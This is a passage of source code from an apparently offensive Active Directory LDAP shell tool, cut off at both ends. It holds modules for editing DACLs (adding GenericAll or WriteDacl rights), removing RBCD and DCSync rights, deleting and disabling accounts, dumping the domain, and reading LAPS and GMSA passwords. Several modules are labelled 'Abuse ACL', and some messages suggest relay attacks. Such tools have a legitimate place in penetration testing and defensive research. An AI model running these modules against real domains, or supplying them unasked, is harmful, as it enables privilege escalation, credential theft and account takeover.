self.log.error('Failed to retrieve target AllowedToActOnBehalfOfOtherIdentity attribute') 73 | return 74 | 75 | sd_data = self.client.entries[0]['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values 76 | if target_sid: 77 | sd = SR_SECURITY_DESCRIPTOR(data=sd_data[0]) 78 | for ace in sd['Dacl'].aces: 79 | if ace['Ace']['Sid'].formatCanonical() == target_sid: 80 | #Delete ACE 81 | sd['Dacl'].aces.remove(ace) 82 | 83 | self.client.modify(target_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]}) 84 | 85 | if self.client.result['result'] == 0: 86 | self.log.info(f'RBCD permissions cleared successfully! {self.args.grantee} can no longer impersonate users on {self.args.target}') 87 | else: 88 | self.log.error(f'Failed to modify RBCD permissions: {self.client.result["description"]}') 89 | else: 90 | sd = LdapUtils.create_empty_sd() 91 | 92 | self.client.modify(target_dn, 93 | {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]}) 94 | self.log.info(f'RBCD permissions cleared successfully!') 95 | 96 | except Exception as e: 97 | self.log.error(f'Error processing security descriptor: {str(e)}') 98 | return 99 | 100 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/dacl_modify/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection, MODIFY_REPLACE, MODIFY_ADD, MODIFY_DELETE 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 6 | import ldap3 7 | from ldap_shell.utils.ldap_utils import LdapUtils 8 | from ldap_shell.utils.ace_utils import AceUtils 9 | from ldap_shell.utils.ldaptypes import SR_SECURITY_DESCRIPTOR 10 | import re 11 | 12 | class LdapShellModule(BaseLdapModule): 13 | """Module for modifying DACL entries""" 14 | 15 | help_text = "Modify DACL entries for target object" 16 | examples_text = """ 17 | You need to have elevated rights on the object to edit its ACEs. 18 | For adding or removing new ACEs, use an account with domain admin rights or GenericAll. 19 | Examples: 20 | Add GenericAll rights for user john on user admin: 21 | `dacl_modify "CN=john,CN=Users,DC=roasting,DC=lab" admin add 0xF01FF` 22 | ``` 23 | [INFO] DACL modified successfully! 24 | ``` 25 | Remove priviosly added GenericAll rights for user john on user admin: 26 | `dacl_modify "CN=john,CN=Users,DC=roasting,DC=lab" admin del GenericAll` 27 | ``` 28 | [INFO] DACL modified successfully! 29 | ``` 30 | Remove WriteDacl rights for admins group on admin user: 31 | `dacl_modify "CN=admins,CN=Users,DC=roasting,DC=lab" admin del WriteDacl` 32 | ``` 33 | [INFO] DACL modified successfully! 34 | ``` 35 | Add write permission for msDS-AllowedToActOnBehalfOfOtherIdentity property: 36 | `dacl_modify "CN=web_svc,CN=Computers,DC=roasting,DC=lab" admin add WritetoRBCD` 37 | ``` 38 | [INFO] DACL modified successfully! 39 | ``` 40 | """ 41 | module_type = "Abuse ACL" 42 | 43 | class ModuleArgs(BaseModel): 44 | target: str = Field( 45 | description="Target object (DN or sAMAccountName)", 46 | arg_type=ArgumentType.DN 47 | ) 48 | grantee: str = Field( 49 | description="Account to modify permissions for", 50 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER, ArgumentType.GROUP] 51 | ) 52 | action: str = Field( 53 | description="Action: add/del", 54 | arg_type=ArgumentType.ADD_DEL 55 | ) 56 | mask: str = Field( 57 | description="Permission type (genericall, writedacl etc.) or object GUID", 58 | arg_type=ArgumentType.MASK 59 | ) 60 | 61 | def __init__(self, args_dict: dict, 62 | domain_dumper: domainDumper, 63 | client: Connection, 64 | log=None): 65 | self.args = self.ModuleArgs(**args_dict) 66 | self.domain_dumper = domain_dumper 67 | self.client = client 68 | self.log = log or logging.getLogger('ldap-shell.shell') 69 | self.mask_mapping = { 70 | "genericall": 0xF01FF, #GENERIC_ALL(0x10000000) 71 | "allextendedrights": 0x20134, #ADS_RIGHT_DS_CONTROL_ACCESS 72 | "genericwrite": 0x20034, #GENERIC_WRITE and RESET_PASSWORD 73 | "writeowner": 0xA0034, #WRITE_OWNER 74 | "writedacl": 0x60034, #WRITE_DACL 75 | "writeproperty": 0x20034, #ADS_RIGHT_DS_WRITE_PROP 76 | "delete": 0x30034 #DELETE 77 | } 78 | self.objects = { 79 | 'writetorbcd':'3F78C3E5-F79A-46BD-A0B8-9D18116DDC79', #ms-DS-AllowedToActOnBehalfOfOtherIdentity 80 | 'writetokeycredlink':'5B47D60F-6090-40B2-9F37-2A4DE88F3063' #ms-Ds-KeyCredentialLink 81 | } 82 | 83 | def __call__(self): 84 | # Get target DN 85 | if not LdapUtils.check_dn(self.client, self.domain_dumper, self.args.target): 86 | self.log.error(f'Invalid DN: {self.args.target}') 87 | return 88 | else: 89 | target_dn = self.args.target 90 | 91 | # Get grantee information 92 | grantee_sid = LdapUtils.get_sid(self.client, self.domain_dumper, self.args.grantee) 93 | if not grantee_sid: 94 | self.log.error(f'Grantee not found: {self.args.grantee}') 95 | return 96 | 97 | # Get current security descriptor 98 | try: 99 | sd_data, _ = LdapUtils.get_info_by_dn(self.client, self.domain_dumper, target_dn) 100 | sd = SR_SECURITY_DESCRIPTOR(data=sd_data[0]) if sd_data else AceUtils.create_empty_sd() 101 | except Exception as e: 102 | self.log.error(f'Error getting security descriptor: {str(e)}') 103 | return 104 | 105 | # Define ACE parameters 106 | if re.match(r'^0x[0-9a-fA-F]+$', self.args.mask): 107 | mask_value = int(self.args.mask, 16) 108 | object_type = None 109 | elif re.fullmatch(r"([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})", self.args.mask): 110 | mask_value = 32 111 | object_type = self.args.mask 112 | elif self.args.mask.lower() in self.mask_mapping: 113 | mask_value = self.mask_mapping[self.args.mask.lower()] 114 | object_type = None 115 | elif self.args.mask.lower() in self.objects: 116 | mask_value = 32 117 | object_type = self.objects[self.args.mask.lower()] 118 | else: 119 | self.log.error('Invalid mask or object type') 120 | return 121 | 122 | # Create/delete ACE 123 | if self.args.action.lower() == 'add': 124 | ace = AceUtils.createACE( 125 | sid=grantee_sid, 126 | access_mask=mask_value, 127 | object_type=object_type 128 | ) 129 | sd['Dacl'].aces.append(ace) 130 | elif self.args.action.lower() == 'del': 131 | sd['Dacl'].aces = [ 132 | ace for ace in sd['Dacl'].aces 133 | if not self._ace_matches(ace, grantee_sid, mask_value, object_type) 134 | ] 135 | else: 136 | self.log.error('Invalid action, use add/del') 137 | return 138 | 139 | # Apply changes 140 | try: 141 | res = self.client.modify( 142 | target_dn, 143 | {'nTSecurityDescriptor': [(MODIFY_REPLACE, [sd.getData()])]}, 144 | controls=ldap3.protocol.microsoft.security_descriptor_control(sdflags=0x04) 145 | ) 146 | except Exception as e: 147 | self.log.info(f'{target_dn} {self.args.grantee} {self.args.action} {self.args.mask}') 148 | self.log.error(f'Modification failed: {str(e)}') 149 | return 150 | 151 | if res: 152 | self.log.info('DACL modified successfully!') 153 | if self.client.authentication == 'ANONYMOUS': 154 | self.log.info('For changes to take effect, please restart ldap_shell') 155 | else: 156 | self.log.error('Failed to modify DACL: %s', self.client.result['description']) 157 | 158 | def _ace_matches(self, ace, sid, mask, object_type): 159 | """Check if ACE matches given parameters""" 160 | if ace['Ace']['Sid'].formatCanonical() != sid: 161 | return False 162 | 163 | if mask is not None and ace['Ace']['Mask'].hasPriv(mask): 164 | return True 165 | 166 | if object_type is not None: 167 | try: 168 | return ace['Ace']['ObjectType'] == LdapUtils.string_to_bin(object_type) 169 | except AttributeError: 170 | return False 171 | return False 172 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/del_computer/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 7 | from ldap_shell.utils.ldap_utils import LdapUtils 8 | import re 9 | from ldap3.utils.conv import escape_filter_chars 10 | 11 | class LdapShellModule(BaseLdapModule): 12 | """Module for deleting computer accounts from Active Directory""" 13 | 14 | help_text = "Delete a computer account from the domain" 15 | examples_text = """ 16 | Example: Delete computer 17 | `del_computer SRV01$` 18 | ``` 19 | [INFO] Computer SRV01$ deleted successfully! 20 | ``` 21 | """ 22 | module_type = "Misc" 23 | 24 | class ModuleArgs(BaseModel): 25 | computer_name: str = Field( 26 | description="Computer account name (must end with $)", 27 | arg_type=ArgumentType.COMPUTER 28 | ) 29 | 30 | def __init__(self, args_dict: dict, 31 | domain_dumper: domainDumper, 32 | client: Connection, 33 | log=None): 34 | self.args = self.ModuleArgs(**args_dict) 35 | self.domain_dumper = domain_dumper 36 | self.client = client 37 | self.log = log or logging.getLogger('ldap-shell.shell') 38 | 39 | def __call__(self): 40 | # Validate computer name format 41 | if not self.args.computer_name.endswith('$'): 42 | self.args.computer_name = self.args.computer_name + '$' 43 | 44 | try: 45 | # Search for computer 46 | search_filter = f'(sAMAccountName={escape_filter_chars(self.args.computer_name)})' 47 | if not self.client.search(self.domain_dumper.root, search_filter, attributes=['distinguishedName']): 48 | self.log.error(f"Computer {self.args.computer_name} not found in domain") 49 | return 50 | 51 | if not self.client.entries: 52 | self.log.error(f"Computer {self.args.computer_name} not found in domain") 53 | return 54 | 55 | computer_dn = self.client.entries[0].entry_dn 56 | self.log.info(f"Found computer DN: {computer_dn}") 57 | 58 | # Delete computer 59 | result = self.client.delete(computer_dn) 60 | 61 | if result: 62 | self.log.info(f'Computer {self.args.computer_name} deleted successfully!') 63 | else: 64 | error_msg = self.client.result 65 | self.log.error(f'Failed to delete computer: {error_msg}') 66 | 67 | except Exception as e: 68 | self.log.error(f'Error deleting computer: {str(e)}') 69 | if 'insufficient access rights' in str(e).lower(): 70 | self.log.info('Try relaying with LDAPS (--use-ldaps) or use elevated credentials') 71 | 72 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/del_dcsync/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection, MODIFY_REPLACE 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.prompt import Prompt 7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 8 | from ldap3.protocol.microsoft import security_descriptor_control 9 | from ldap3.utils.conv import escape_filter_chars 10 | from ldap_shell.utils.ldap_utils import LdapUtils 11 | from ldap_shell.utils.ace_utils import AceUtils 12 | import ldap_shell.utils.ldaptypes as ldaptypes 13 | from ldap_shell.utils.ldap_utils import LdapUtils 14 | class LdapShellModule(BaseLdapModule): 15 | """Module to remove DS-Replication privileges from target""" 16 | 17 | help_text = "Remove DCSync rights from user/computer by deleting ACEs in domain DACL" 18 | examples_text = """ 19 | Remove DCSync privileges from target user 20 | `del_dcsync CN=John Doe,CN=Users,DC=contoso,DC=com` 21 | ``` 22 | [INFO] DCSync rights removed from John Doe 23 | ``` 24 | """ 25 | module_type = "Abuse ACL" 26 | 27 | class ModuleArgs(BaseModel): 28 | target: Optional[str] = Field( 29 | description="Target DN of user/computer to revoke rights", 30 | arg_type=[ArgumentType.DN] 31 | ) 32 | 33 | def __init__(self, args_dict: dict, 34 | domain_dumper: domainDumper, 35 | client: Connection, 36 | log=None): 37 | self.args = self.ModuleArgs(**args_dict) 38 | self.domain_dumper = domain_dumper 39 | self.client = client 40 | self.log = log or logging.getLogger('ldap-shell.shell') 41 | 42 | def __call__(self): 43 | if not LdapUtils.check_dn(self.client, self.domain_dumper, self.args.target): 44 | self.log.error('Invalid DN: %s', self.args.target) 45 | return 46 | 47 | ldap_attribute = 'nTSecurityDescriptor' 48 | target_dn = self.domain_dumper.root 49 | user_dn = self.args.target 50 | sd_data, domain_root_sid = LdapUtils.get_info_by_dn(self.client, self.domain_dumper, target_dn) 51 | _, user_sid = LdapUtils.get_info_by_dn(self.client, self.domain_dumper, user_dn) 52 | 53 | if not sd_data: 54 | self.log.error('Failed to retrieve domain security descriptor') 55 | return 56 | 57 | sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data[0]) 58 | dcsync_guids = { 59 | LdapUtils.string_to_bin('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'), 60 | LdapUtils.string_to_bin('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'), 61 | LdapUtils.string_to_bin('89e95b76-444d-4c62-991a-0facbeda640c') 62 | } 63 | 64 | if len(sd_data) < 1: 65 | raise Exception(f'Check if target have write access to the domain object') 66 | else: 67 | sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data[0]) 68 | 69 | new_aces = [] 70 | for ace in sd['Dacl'].aces: 71 | if ace['Ace']['Sid'].formatCanonical() == user_sid: 72 | try: 73 | # Convert binary ObjectType to string 74 | object_type = ace['Ace']['ObjectType'] 75 | if object_type in dcsync_guids: # <-- direct binary data comparison 76 | continue 77 | except AttributeError: 78 | pass 79 | new_aces.append(ace) 80 | 81 | # Apply changes 82 | sd['Dacl'].aces = new_aces 83 | self.client.modify( 84 | target_dn, 85 | {'nTSecurityDescriptor': [MODIFY_REPLACE, [sd.getData()]]}, 86 | controls=security_descriptor_control(sdflags=0x04) 87 | ) 88 | 89 | if self.client.result['result'] == 0: 90 | user_name = LdapUtils.get_name_from_dn(user_dn) 91 | self.log.info(f'DCSync rights removed from {user_name}') 92 | else: 93 | self.process_error_response() 94 | 95 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/del_group/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection, SUBTREE 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 7 | 8 | class LdapShellModule(BaseLdapModule): 9 | """Module for deleting groups from Active Directory""" 10 | 11 | help_text = "Delete group from Active Directory" 12 | examples_text = """ 13 | Delete a group by name 14 | `del_group "Test Group"` 15 | """ 16 | module_type = "Misc" 17 | 18 | class ModuleArgs(BaseModel): 19 | group_name: str = Field( 20 | description="Name of the group to delete", 21 | arg_type=[ArgumentType.GROUP] 22 | ) 23 | 24 | def __init__(self, args_dict: dict, 25 | domain_dumper: domainDumper, 26 | client: Connection, 27 | log=None): 28 | self.args = self.ModuleArgs(**args_dict) 29 | self.domain_dumper = domain_dumper 30 | self.client = client 31 | self.log = log or logging.getLogger('ldap-shell.shell') 32 | 33 | def __call__(self): 34 | # Search for group by name 35 | self.client.search( 36 | self.domain_dumper.root, 37 | f'(&(objectClass=group)(sAMAccountName={self.args.group_name}))', 38 | SUBTREE, 39 | attributes=['distinguishedName'] 40 | ) 41 | 42 | if len(self.client.entries) == 0: 43 | self.log.error(f"Group {self.args.group_name} not found") 44 | return 45 | 46 | group_dn = self.client.entries[0].distinguishedName.value 47 | 48 | # Delete the group 49 | if self.client.delete(group_dn): 50 | self.log.info(f"Group {self.args.group_name} deleted successfully") 51 | else: 52 | self.log.error(f"Failed to delete group {self.args.group_name}: {self.client.result}") -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/del_user/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 7 | from ldap_shell.utils.ldap_utils import LdapUtils 8 | import re 9 | from ldap3.utils.conv import escape_filter_chars 10 | 11 | class LdapShellModule(BaseLdapModule): 12 | """Module for deleting user accounts from Active Directory""" 13 | 14 | help_text = "Delete a user account from the domain" 15 | examples_text = """ 16 | Example: Delete user 17 | `del_user john.doe` 18 | ``` 19 | [INFO] User john.doe deleted successfully! 20 | ``` 21 | """ 22 | module_type = "Misc" 23 | 24 | class ModuleArgs(BaseModel): 25 | username: str = Field( 26 | description="Username to delete", 27 | arg_type=ArgumentType.USER 28 | ) 29 | 30 | def __init__(self, args_dict: dict, 31 | domain_dumper: domainDumper, 32 | client: Connection, 33 | log=None): 34 | self.args = self.ModuleArgs(**args_dict) 35 | self.domain_dumper = domain_dumper 36 | self.client = client 37 | self.log = log or logging.getLogger('ldap-shell.shell') 38 | 39 | def __call__(self): 40 | try: 41 | # Search for user 42 | search_filter = f'(sAMAccountName={escape_filter_chars(self.args.username)})' 43 | if not self.client.search(self.domain_dumper.root, search_filter, attributes=['distinguishedName']): 44 | self.log.error(f"User {self.args.username} not found in domain") 45 | return 46 | 47 | if not self.client.entries: 48 | self.log.error(f"User {self.args.username} not found in domain") 49 | return 50 | 51 | user_dn = self.client.entries[0].entry_dn 52 | self.log.info(f"Found user DN: {user_dn}") 53 | 54 | # Delete user 55 | result = self.client.delete(user_dn) 56 | 57 | if result: 58 | self.log.info(f'User {self.args.username} deleted successfully!') 59 | else: 60 | error_msg = self.client.result 61 | self.log.error(f'Failed to delete user: {error_msg}') 62 | 63 | except Exception as e: 64 | self.log.error(f'Error deleting user: {str(e)}') 65 | if 'insufficient access rights' in str(e).lower(): 66 | self.log.info('Try relaying with LDAPS (--use-ldaps) or use elevated credentials') 67 | 68 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/del_user_from_group/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.prompt import Prompt 7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 8 | import ldap3 9 | from ldap_shell.utils.ldap_utils import LdapUtils 10 | 11 | class LdapShellModule(BaseLdapModule): 12 | """Module for deleting a user from a group""" 13 | 14 | help_text = "Delete a user from a group" 15 | examples_text = """ 16 | Example: delete john.doe from Domain Admins group 17 | `del_user_from_group john.doe "Domain Admins"` 18 | ``` 19 | [INFO] Successfully deleted "john.doe" from "Domain Admins" 20 | ``` 21 | """ 22 | module_type = "Abuse ACL" 23 | 24 | class ModuleArgs(BaseModel): 25 | user: str = Field( 26 | description="Target AD user", 27 | arg_type=[ArgumentType.USER, ArgumentType.GROUP] 28 | ) 29 | group: str = Field( 30 | description="Target AD group", 31 | arg_type=ArgumentType.GROUP 32 | ) 33 | 34 | def __init__(self, args_dict: dict, 35 | domain_dumper: domainDumper, 36 | client: Connection, 37 | log=None): 38 | self.args = self.ModuleArgs(**args_dict) 39 | self.domain_dumper = domain_dumper 40 | self.client = client 41 | self.log = log or logging.getLogger('ldap-shell.shell') 42 | 43 | def __call__(self): 44 | user_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.user) 45 | if not user_dn: 46 | self.log.error(f'User not found: {self.args.user}') 47 | return 48 | 49 | group_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.group) 50 | if not group_dn: 51 | self.log.error(f'Group not found: {self.args.group}') 52 | return 53 | 54 | try: 55 | res = self.client.modify( 56 | group_dn, 57 | {'member': [(ldap3.MODIFY_DELETE, [user_dn])]} 58 | ) 59 | except Exception as e: 60 | self.log.error(f'Failed to delete user: {str(e)}') 61 | return 62 | 63 | if res: 64 | self.log.info('Successfully deleted "%s" from "%s"', self.args.user, self.args.group) 65 | current_user = self.client.extend.standard.who_am_i().split(',')[0][3:] 66 | if current_user.lower() == self.args.user.lower(): 67 | self.log.warning('You modified your own group membership. Re-login may be required.') 68 | else: 69 | self.log.error('Failed to delete user: %s', self.client.result['description']) 70 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/disable_account/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 7 | from ldap_shell.utils.ldap_utils import LdapUtils 8 | import re 9 | from ldap3.utils.conv import escape_filter_chars 10 | import ldap3 11 | 12 | class LdapShellModule(BaseLdapModule): 13 | """Module for disabling user accounts in Active Directory""" 14 | 15 | help_text = "Disable a user account in the domain" 16 | examples_text = """ 17 | Example: Disable user account 18 | `disable_account john.doe` 19 | ``` 20 | [INFO] Found user DN: CN=john.doe,CN=Users,DC=domain,DC=local 21 | [INFO] Original userAccountControl: 512 22 | [INFO] User john.doe disabled successfully! 23 | ``` 24 | """ 25 | module_type = "Misc" 26 | 27 | class ModuleArgs(BaseModel): 28 | username: str = Field( 29 | description="Username to disable", 30 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER] 31 | ) 32 | 33 | def __init__(self, args_dict: dict, 34 | domain_dumper: domainDumper, 35 | client: Connection, 36 | log=None): 37 | self.args = self.ModuleArgs(**args_dict) 38 | self.domain_dumper = domain_dumper 39 | self.client = client 40 | self.log = log or logging.getLogger('ldap-shell.shell') 41 | 42 | def __call__(self): 43 | UF_ACCOUNT_DISABLE = 2 # Flag to disable account 44 | 45 | try: 46 | # Search for user 47 | search_filter = f'(sAMAccountName={escape_filter_chars(self.args.username)})' 48 | if not self.client.search(self.domain_dumper.root, search_filter, 49 | attributes=['objectSid', 'userAccountControl']): 50 | self.log.error(f"User {self.args.username} not found in domain") 51 | return 52 | 53 | if not self.client.entries: 54 | self.log.error(f"User {self.args.username} not found in domain") 55 | return 56 | 57 | user_dn = self.client.entries[0].entry_dn 58 | user_account_control = self.client.entries[0]['userAccountControl'].value 59 | 60 | self.log.info(f"Found user DN: {user_dn}") 61 | self.log.info(f"Original userAccountControl: {user_account_control}") 62 | 63 | # Set account disable flag 64 | new_user_account_control = user_account_control | UF_ACCOUNT_DISABLE 65 | 66 | # Update userAccountControl attribute 67 | result = self.client.modify(user_dn, 68 | {'userAccountControl': (ldap3.MODIFY_REPLACE, [new_user_account_control])}) 69 | 70 | if result: 71 | self.log.info(f'User {self.args.username} disabled successfully!') 72 | else: 73 | error_msg = self.client.result 74 | self.log.error(f'Failed to disable user: {error_msg}') 75 | 76 | except Exception as e: 77 | self.log.error(f'Error disabling user: {str(e)}') 78 | if 'insufficient access rights' in str(e).lower(): 79 | self.log.info('Try relaying with LDAPS (--use-ldaps) or use elevated credentials') 80 | 81 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/dump/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional, List 6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ModuleArgument, ArgumentType 7 | 8 | class LdapShellModule(BaseLdapModule): 9 | """Module for dumping information from AD. This command will perform the same action as running the ldapdomaindump tool""" 10 | 11 | help_text = "Dumps the domain" 12 | examples_text = """ 13 | Dump domain information to current directory 14 | `dump` 15 | Dump domain information to /tmp/ 16 | `dump /tmp/` 17 | """ 18 | module_type = "Get Info" 19 | 20 | class ModuleArgs(BaseModel): 21 | output_dir: Optional[str] = Field( 22 | None, # This argument is not required 23 | description="Directory to save dump files", 24 | arg_type=ArgumentType.DIRECTORY 25 | ) 26 | 27 | def __init__(self, args_dict: dict, 28 | domain_dumper: domainDumper, 29 | client: Connection, 30 | log=None): 31 | self.args = self.ModuleArgs(**args_dict) 32 | self.domain_dumper = domain_dumper 33 | self.client = client 34 | self.log = log or logging.getLogger('ldap-shell.shell') 35 | 36 | def __call__(self): 37 | self.log.info('Starting dump operation...') 38 | 39 | if self.args.output_dir: 40 | self.domain_dumper.config.basepath = self.args.output_dir 41 | 42 | self.domain_dumper.domainDump() 43 | self.log.info(f'Domain info dumped into {self.args.output_dir}') 44 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/enable_account/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 7 | from ldap_shell.utils.ldap_utils import LdapUtils 8 | import re 9 | from ldap3.utils.conv import escape_filter_chars 10 | import ldap3 11 | 12 | class LdapShellModule(BaseLdapModule): 13 | """Module for enabling user accounts in Active Directory""" 14 | 15 | help_text = "Enable a user account in the domain" 16 | examples_text = """ 17 | Example: Enable user account 18 | `enable_account john.doe` 19 | ``` 20 | [INFO] Found user DN: CN=john.doe,CN=Users,DC=domain,DC=local 21 | [INFO] Original userAccountControl: 514 22 | [INFO] User john.doe enabled successfully! 23 | ``` 24 | """ 25 | module_type = "Misc" 26 | 27 | class ModuleArgs(BaseModel): 28 | username: str = Field( 29 | description="Username to enable", 30 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER] 31 | ) 32 | 33 | def __init__(self, args_dict: dict, 34 | domain_dumper: domainDumper, 35 | client: Connection, 36 | log=None): 37 | self.args = self.ModuleArgs(**args_dict) 38 | self.domain_dumper = domain_dumper 39 | self.client = client 40 | self.log = log or logging.getLogger('ldap-shell.shell') 41 | 42 | def __call__(self): 43 | UF_ACCOUNT_DISABLE = 2 # Flag for disabling account 44 | 45 | try: 46 | # Search for user 47 | search_filter = f'(sAMAccountName={escape_filter_chars(self.args.username)})' 48 | if not self.client.search(self.domain_dumper.root, search_filter, 49 | attributes=['objectSid', 'userAccountControl']): 50 | self.log.error(f"User {self.args.username} not found in domain") 51 | return 52 | 53 | if not self.client.entries: 54 | self.log.error(f"User {self.args.username} not found in domain") 55 | return 56 | 57 | user_dn = self.client.entries[0].entry_dn 58 | user_account_control = self.client.entries[0]['userAccountControl'].value 59 | 60 | self.log.info(f"Found user DN: {user_dn}") 61 | self.log.info(f"Original userAccountControl: {user_account_control}") 62 | 63 | # Remove account disable flag 64 | new_user_account_control = user_account_control & ~UF_ACCOUNT_DISABLE 65 | 66 | # Update userAccountControl attribute 67 | result = self.client.modify(user_dn, 68 | {'userAccountControl': (ldap3.MODIFY_REPLACE, [new_user_account_control])}) 69 | 70 | if result: 71 | self.log.info(f'User {self.args.username} enabled successfully!') 72 | else: 73 | error_msg = self.client.result 74 | self.log.error(f'Failed to enable user: {error_msg}') 75 | 76 | except Exception as e: 77 | self.log.error(f'Error enabling user: {str(e)}') 78 | if 'insufficient access rights' in str(e).lower(): 79 | self.log.info('Try relaying with LDAPS (--use-ldaps) or use elevated credentials') 80 | 81 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/get_group_users/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.prompt import Prompt 7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 8 | from ldap_shell.utils.ldap_utils import LdapUtils 9 | 10 | class LdapShellModule(BaseLdapModule): 11 | """Module for retrieves all users in a group""" 12 | 13 | help_text = "Get all users in a group" 14 | examples_text = """ 15 | Example 1 16 | `get_group_users group` 17 | ``` 18 | [INFO] sccm_admin - SCCM Servers Admin 19 | [INFO] sqldeveloper - SQL Developer 20 | [INFO] sqlplus - SQL*Plus 21 | [INFO] j.doe - John Doe 22 | ``` 23 | """ 24 | module_type = "Get Info" # Get Info, Abuse ACL, Misc and Other. 25 | LDAP_MATCHING_RULE_IN_CHAIN = '1.2.840.113556.1.4.1941' 26 | class ModuleArgs(BaseModel): 27 | group: Optional[str] = Field( 28 | ..., # This argument is required 29 | description="Group name", 30 | arg_type=ArgumentType.GROUP 31 | ) 32 | 33 | def __init__(self, args_dict: dict, 34 | domain_dumper: domainDumper, 35 | client: Connection, 36 | log=None): 37 | self.args = self.ModuleArgs(**args_dict) 38 | self.domain_dumper = domain_dumper 39 | self.client = client 40 | self.log = log or logging.getLogger('ldap-shell.shell') 41 | 42 | def __call__(self): 43 | group_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.group) 44 | if not group_dn: 45 | raise Exception(f'Group not found in LDAP: {self.args.group}') 46 | 47 | self.client.search(self.domain_dumper.root, 48 | f'(memberof:{self.LDAP_MATCHING_RULE_IN_CHAIN}:={group_dn})', 49 | attributes=['sAMAccountName', 'name']) 50 | for entry in self.client.entries: 51 | self.log.info(f'{entry["sAMAccountName"].value} - {entry["name"].value}') 52 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/get_laps_gmsa/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 7 | from Cryptodome.Hash import MD4 8 | import binascii 9 | from ldap_shell.utils.security_utils import MSDS_MANAGEDPASSWORD_BLOB 10 | from impacket.dpapi_ng import EncryptedPasswordBlob, KeyIdentifier, compute_kek, create_sd, decrypt_plaintext, unwrap_cek 11 | from impacket.dcerpc.v5 import transport, epm, gkdi 12 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY 13 | from pyasn1.codec.der import decoder 14 | from pyasn1_modules import rfc5652 15 | import json 16 | import re 17 | 18 | class LdapShellModule(BaseLdapModule): 19 | """Module for retrieving LAPS and GMSA passwords""" 20 | 21 | help_text = "Retrieves LAPS and GMSA passwords associated with a given account (sAMAccountName) or for all. Supported LAPS 2.0" 22 | examples_text = """ 23 | Get all LAPS and GMSA passwords 24 | `get_laps_gmsa` 25 | ``` 26 | [INFO] [LAPS v2] SRV1$: 2ph97sJVNl8PB1 27 | [INFO] [LAPS v1] SRV2$: 1BP8lNVJs79hp2 28 | [INFO] No GMSA accounts found 29 | ``` 30 | Get LAPS and 